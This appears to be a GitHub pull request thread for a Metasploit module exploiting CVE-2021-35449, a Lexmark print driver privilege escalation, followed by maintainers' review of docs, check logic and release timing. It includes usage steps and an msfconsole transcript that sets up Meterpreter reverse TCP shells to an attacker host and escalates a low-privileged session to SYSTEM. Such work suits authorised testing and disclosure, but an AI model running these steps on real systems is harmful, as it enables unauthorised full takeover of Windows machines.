Lexmark Universal Print Driver Local Privilege Escalation

[jacob-baines]

This pull request is for CVE-2021-35449, a privilege escalation issue in a variety of Lexmark drivers including the Universal Print Driver. I promised this module in my DEFCON talk, Bring Your Own Print Driver Vulnerability. In that talk, I demonstrate that low privileged users can install arbitrary drivers, so having vulnerable drivers in your back pocket is quite nice. This module does not interface with an evil printer, but it will escalate to SYSTEM if the driver is present.

The pull request is very much modeled after @space-r7's Ricoh privilege escalation module... to the point that they are credited in the module.

Verification

List the steps needed to make sure this thing works

• Install attached Lexmark driver and add a printer using the driver.
• Start msfconsole
• Get a session with basic privileges
• Do: use exploit/windows/local/lexmark_driver_privesc
• Do: set SESSION <sess_no>
• Configure payload
• Do: run
• You should get a shell running as SYSTEM.

Example Output

Here is example output (also included in documentation):

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.8
lhost => 10.0.0.8
msf6 exploit(multi/handler) > set lport 1270
lport => 1270
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.0.8:1270 
[*] Sending stage (200262 bytes) to 10.0.0.7
[*] Meterpreter session 1 opened (10.0.0.8:1270 -> 10.0.0.7:50356) at 2021-08-04 16:01:23 -0400
meterpreter > getuid
Server username: MOURNLAND\lowlevel
meterpreter > sysinfo
Computer        : MOURNLAND
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use lexmark_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Matching Modules
================
   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  exploit/windows/local/lexmark_driver_privesc  2021-07-22       normal  Yes    Lexmark Driver Privilege Escalation
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/lexmark_driver_privesc
[*] Using exploit/windows/local/lexmark_driver_privesc
msf6 exploit(windows/local/lexmark_driver_privesc) > set session 1
session => 1
msf6 exploit(windows/local/lexmark_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > set lhost 10.0.0.8
lhost => 10.0.0.8
msf6 exploit(windows/local/lexmark_driver_privesc) > run
[*] Started reverse TCP handler on 10.0.0.8:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Lexmark GDL file is present
[*] Adding printer dnvCihT...
[*] Sending stage (200262 bytes) to 10.0.0.7
[*] Meterpreter session 2 opened (10.0.0.8:4444 -> 10.0.0.7:50382) at 2021-08-04 16:03:23 -0400
[*] Deleting printer dnvCihT
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

About the patch

Unfortunately the patch doesn't make the .gdl file unreadable - it just seemed to strip out the .dll parsing. As such, it's difficult to know via check() if the target is vulnerable... without exploiting it. 🤷 Open to ideas!

Edit: Vulnerable CAB file
LMUD1o40.zip

[smcintyre-r7]

We have a msftidy_docs.rb tool to lint the markdown docs. If you wouldn't mind, could you please address it's comments:

tools/dev/msftidy_docs.rb documentation/modules/exploit/windows/local/lexmark_driver_privesc.md 
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md - [INFO] Missing Section: ## Options
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md:25 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md:26 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md:27 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md:34 - [WARNING] Code blocks using triple backquotes (```) should not be indented
documentation/modules/exploit/windows/local/lexmark_driver_privesc.md:94 - [WARNING] Code blocks using triple backquotes (```) should not be indented

The other thing is that each of the sections are indented when they don't need to be. In particular the scenarios section's indentation is then copied over into the rendered markdown output.

[jacob-baines]

@smcintyre-r7 rolled in the changes you suggested and retested successfully. Also ran doc tidy and fixed up the wonky spacing issues 👍

[gwillcox-r7]

Overall looks very good, just left a few comments, most are the same as on the other PR.

[gwillcox-r7]

@jacob-baines Going to go ahead and try fix up some of these issues so long this morning so we can clear up some of this work that I can take on myself. Hopefully this should help save you some time and make the actual issue list a little more accurate r.e issues I'm not able to resolve myself.

[jacob-baines]

Sounds good, @gwillcox-r7. Thanks! I should be able to tackle the remaining issues this evening.

[gwillcox-r7]

When you make the changes and forget to lint your own work 🤦‍♂️ Lets fix that up.

[gwillcox-r7]

@jacob-baines Created a more detailed description and fixed a few issues, but let me know if you don't like the format of the description and we can always adjust. Just tried to condense it down a bit whilst also explaining why the adjusting of the XML file is important.

[gwillcox-r7]

Overall changes look good, though I am concerned r.e effect of the changes on the fact that the exploit method now needs to be run alongside the check method, vs acting independently of the check method.

[jacob-baines]

As mentioned, I switched over to using pnputil to discover the vulnerable drivers. This is desirable for the case where the driver was put in the driver store by an admin or an attacker (via CVE-2021-34481) but never installed during add printer operations. Metasploit's implementation of the Ricoh driver exploitation and the (just landed) Canon driver exploit wouldn't see vulnerable drivers in that context because neither examine the driver store.

I'll try to decouple check/exploit now.

[gwillcox-r7]

As mentioned, I switched over to using pnputil to discover the vulnerable drivers. This is desirable for the case where the driver was put in the driver store by an admin or an attacker (via CVE-2021-34481) but never installed during add printer operations. Metasploit's implementation of the Ricoh driver exploitation and the (just landed) Canon driver exploit wouldn't see vulnerable drivers in that context because neither examine the driver store.

I'll try to decouple check/exploit now.

Ah in my experiments the driver had to be installed as a vulnerable driver for the vulnerable directory to be created. This is why I kept that check in for other module, along with the fact that the patch didn't seem to update the version output by pnputil so I wasn't sure how one could use that to detect vulnerable versions. I am also trying to get both these modules in by the Thursday morning cut off so they can land into this week's release; my apologies if I overlooked something in the process 😓

[jacob-baines]

No worries. Looking back, I think the original pull request assumes that everyone would know all the things I yammered on about for 40ish minutes at DC... which is obviously an unfair assumption. Either way, I don't think this particular module can have a check that will say definitely if the target is vulnerable (without exploitation) 🤷‍♂️

As to the Thursday cutoff, I won't be able to make any adjustments today. This moment that I'm writing this is about the only free moment I'll have all day. 😓 If you think the module is close, I'm happy for whatever edits you might have time to introduce. Otherwise, I doubt I'll make an updates by Thurs. evening.

[gwillcox-r7]

No worries. Looking back, I think the original pull request assumes that everyone would know all the things I yammered on about for 40ish minutes at DC... which is obviously an unfair assumption. Either way, I don't think this particular module can have a check that will say definitely if the target is vulnerable (without exploitation) 🤷‍♂️

As to the Thursday cutoff, I won't be able to make any adjustments today. This moment that I'm writing this is about the only free moment I'll have all day. 😓 If you think the module is close, I'm happy for whatever edits you might have time to introduce. Otherwise, I doubt I'll make an updates by Thurs. evening.

Yep thats fine, we can just make something that goes "hey this looks like its vulnerable" based on some criteria and return CheckCode::Appears if we have some way of determining if the target appears to be vulnerable or just return CheckCode::Detected if we really do have just no way of actively trying to detect it beyond checking if the driver is installed or not. Last resort would be to just make it return CheckCode::Unknown if we really have nothing we can do but for this module I don't think we need to go that low as we can at least determine if the vulnerable driver is installed or not and report that, whilst also noting users will need to run a full exploit for us to truly determine if the target is vulnerable or not.

And yeah no worries on the DC detail stuff, its understandable that it may have been a little confusing and you assumed people had watched your talk; happens to all of us 😄 I should have also noticed a few details on my end so that's my bad as well 😅

[gwillcox-r7]

One minor change and a minor edge case I found, but should be able to fix these up for you.

[gwillcox-r7]

Few other places that need to be updated for conistency of documentation but this otherwise looks good to test and land.

[gwillcox-r7]

Release Notes

A new module has been added to exploit CVE-2021-35449, a privilege escalation issue in a variety of Lexmark drivers including the Universal Print Driver. Successful exploitation allows local attackers to gain SYSTEM level code execution.